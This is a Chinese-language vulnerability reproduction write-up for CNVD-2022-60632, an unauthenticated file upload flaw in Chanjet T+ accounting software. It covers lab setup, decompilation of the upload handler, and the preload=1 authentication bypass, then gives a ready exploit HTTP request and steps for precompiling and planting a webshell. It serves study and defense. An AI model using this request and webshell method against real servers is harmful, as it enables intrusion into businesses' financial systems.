畅捷通任意文件上传漏洞复现分析过程 CNVD-2022-60632

一、前言

值守期间看到网上师傅的文章,于是就有以下这篇文章。漏洞影响版本:畅捷通T+单机版<=17.0且使用IIS10.0以下版本,漏洞点 tplus/SM/SetupAccount/Upload.aspx?preload=1

二、环境搭建

1、选择下载安装,https://dad.chanapp.chanjet.com/TplusYZHJ17.0.zip 这边选择迅雷下载,解压后选择标准版安装,记得按照提示先关闭杀毒软件,安装过程比较慢,需要等待一段时间。

image-20221024024825548

image-20221024025122968

image-20221024025141554

安装过程中提示设置数据库,这里选择关闭,不进行数据库配置

image-20221024025910710

image-20221024025941436

image-20221024030340481

安装完成后,点击桌面图标即可进入访问

image-20221024030529327

三、漏洞分析

定位漏洞点

在路径 C:\Program Files (x86)\Chanjet\TPlusStd 找到安装后的源码

image-20221024031412457

根据网上 Payload 定位漏洞点 tplus/SM/SetupAccount/Upload.aspx?preload=1,系统采用了预编译(注:预编译即在安装时系统进行了预编译处理,即系统在用户第一次访问前已进行预先编译,当用户访问时不要再次进行编译,使用户第一次访问时的响应速度更快,也保护了源代码的安全,一定程度上避免了源码泄露造成的风险,但缺点也很明显,若需要进行修改则整个程序需要重新编译发行)

image-20221024031827118

经过浏览源码发现,成套程序都进行了预编译处理,无法查看其源代码(当 ASP.NET 部署了预编译的应用程序后,会调用 Bin 文件夹中的程序集来进行处理请求,其中编辑器程序集和文件扩展名为 .compiled,程序集名称由编译器生成, .compiled 文件内容不包含可执行代码,只包含 ASP.NET 查找相应的程序集所需的信息。预编译文件只是一个占位符,若需要找到源码则可能需要反编译 .dll 文件。)

image-20221024032632804

我们找到漏洞点文件相对应对的 .compiled 文件,通过查找对比,找到对应的 .compiled 文件:bin/upload.aspx.9475d17f.compiled

image-20221024034159504

根据 upload.aspx 对应的 .compiled 文件定位到程序集文件 App_Web_upload.aspx.9475d17f

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<preserve resultType="3" virtualPath="/WebSite/SM/SetupAccount/Upload.aspx" hash="16f32931f" filehash="8aff27fcb5b4a92d" flags="110000" assembly="App_Web_upload.aspx.9475d17f" type="ASP.sm_setupaccount_upload_aspx">
<filedeps>
<filedep name="/WebSite/SM/SetupAccount/Upload.aspx" />
<filedep name="/WebSite/SM/SetupAccount/Upload.aspx.cs" />
</filedeps>
</preserve>

image-20221024035613099

dll反编译分析

使用 dnSpy 对 App_Web_upload.aspx.9475d17f 进行调试(注:dnSpy 是一个调试器和 .NET 程序集编辑器。即使您没有任何可用的源代码,您也可以使用它来编辑和调试程序集,在线逆向),项目地址 https://github.com/dnSpy/dnSpy,这里直接搜索 App_Web_upload.aspx.9475d17f 拉进 dnSpy 即可

image-20221024040132466

image-20221024040248526

通过分析定位到漏洞页面源码

image-20221024040625235

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// CommonPage_SetupAccount_Upload
// Token: 0x06000004 RID: 4 RVA: 0x000020AC File Offset: 0x000002AC
protected void Page_Load(object sender, EventArgs e)
{
this.ReadResources();
if (base.Request.Files.Count == 1)
{
string text = "images/index.gif";
object obj = this.ViewState["fileName"];
if (obj != null)
{
text = obj.ToString();
}
if (this.File1.PostedFile.ContentLength > 204800)
{
base.Response.Write(string.Concat(new string[]
{
"<script language='javascript'>alert('",
this.PhotoTooLarge,
"'); parent.document.getElementById('myimg').src='",
text,
"';</script>"
}));
return;
}
if (this.File1.PostedFile.ContentType != "image/jpeg" && this.File1.PostedFile.ContentType != "image/bmp" && this.File1.PostedFile.ContentType != "image/gif" && this.File1.PostedFile.ContentType != "image/pjpeg")
{
base.Response.Write(string.Concat(new string[]
{
"<script language='javascript'>alert('",
this.PhotoTypeError,
"'); parent.document.getElementById('myimg').src='",
text,
"';</script>"
}));
return;
}
string fileName = this.File1.PostedFile.FileName;
string text2 = fileName.Substring(fileName.LastIndexOf('\\') + 1);
this.File1.PostedFile.SaveAs(base.Server.MapPath(".") + "\\images\\" + text2);
string value = base.Server.MapPath(".") + "\\images\\" + text2;
this.ViewState["fileName"] = "images/" + text2;
TPContext.Current.Session["ImageName"] = value;
}
}

根据获取到的源码进行分析

image-20221024041444451

漏洞复现

原理了解,实践开始,通过 Burp 抓包,构造语句,我这里使用 Windows 自带浏览器进行流量代理,因为使用 Chrome 无法进行抓包

image-20221024042906233

访问 /tplus/SM/SetupAccount/Upload.aspx 路径进行抓包,这里直接替换为参考文章师傅的数据包即可,修改 IP 为本地 IP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /tplus/SM/SetupAccount/Upload.aspx HTTP/1.1
Host: 192.168.114.144
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Length: 182

------WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Disposition: form-data; name="File1";filename="test.aspx"
Content-Type: image/jpeg

1
------WebKitFormBoundarywwk2ReqGTj7lNYlt--

系统提示需要登录

image-20221024043859326

image-20221024043922964

其实根据披露的入口点为 tplus/SM/SetupAccount/Upload.aspx?preload=1,我们直接替换为这个路径即可,但参考文章中的师傅给出了分析,我们就继续跟进学习一下其原理。根据提示上传文件需要登录,那就需要寻找系统鉴权的代码进行分析,分析其鉴权方式,以及是否存在绕过的可能。

根据分析 App_Web_upload.aspx.9475d17f 的代码,在此处并没有发现鉴权的地方

image-20221024054329571

向上回溯,发现其引用了 APP.global.asax ,对应的程序集名字为 APP_Web_global.asax.cs.cdcab7d2

image-20221024060249466

直接双击进入其程序集,获取其 dll 文件源码,翻看代码发现 Application_PreRequestHandlerExecute 函数中定义若 preload 参数 == 1 则不进行 session 认证

image-20221024061347375

整合信息,漏洞路径为 tplus/SM/SetupAccount/Upload.aspx?preload=1,修改 POST 请求路径,再次尝试进行文件上传

image-20221024062024119

文件成功上传至 \WebSite\SM\SetupAccount\images 目录下

image-20221024062222705

上传 webshell 文件

image-20221024063740516

虽然文件成功上传了,但当我们进行访问的时候,发现页面报错了,原因是我们上传的文件的时候没有进行预编译,所以系统无法识别

image-20221024072123338

绕过系统限制,全局搜索,利用系统 C:\Windows\Microsoft.NET\Framework64\v2.0.50727 中的 aspnet_compiler.exe, 生成程序集,绕过预编译机制

image-20221024070455365

Cmd 执行,C:\Windows\Microsoft.NET\Framework64\v2.0.50727>aspnet_compiler -v \ -p C:\Users\Boom\Desktop\TPlus\shell C:\Users\Boom\Desktop\TPlus\upfile -fixednames ,-p 代表的是你木马的目录。 C:\Users\Boom\Desktop\TPlus\upfile 表示生成的 .dll 文件在哪个目录中

image-20221024073401113

生成文件如下

image-20221024073739122

image-20221024073802424

这里更换为冰蝎马利用成功,将 /bin 文件夹目录下面的 .dll 文件及预编译后的 shell 文件上传到网站 /bin 目录 C:\Program Files (x86)\Chanjet\TPlusStd\WebSite\bin

image-20221024075122109

这里得配合目录穿越上传预编译文件才能成功 Getshell,这边没能成功复现。这边是直接把文件拉到网站目录下的,实战中可能存在 asp 上传成功解析,不需要上传预编译文件的可能。

image-20221024081450142

四、总结

通过这次的漏洞复现,还是能学习到很多的知识点,从环境的搭建、源码的分析、dll反编译再到漏洞原理分析,一步接一步打开思路,加深漏洞原理的学习,从一个知识点扩展到其它分支知识,总体上收获良好。

五、参考文章

1
2
3
4
5
https://www.o2oxy.cn/4104.html
https://cloud.tencent.com/developer/article/1381405
https://www.debugease.com/aspdotnet/74941.html
https://www.buaq.net/go-53733.html
https://blog.csdn.net/xiayu729100940/article/details/126646035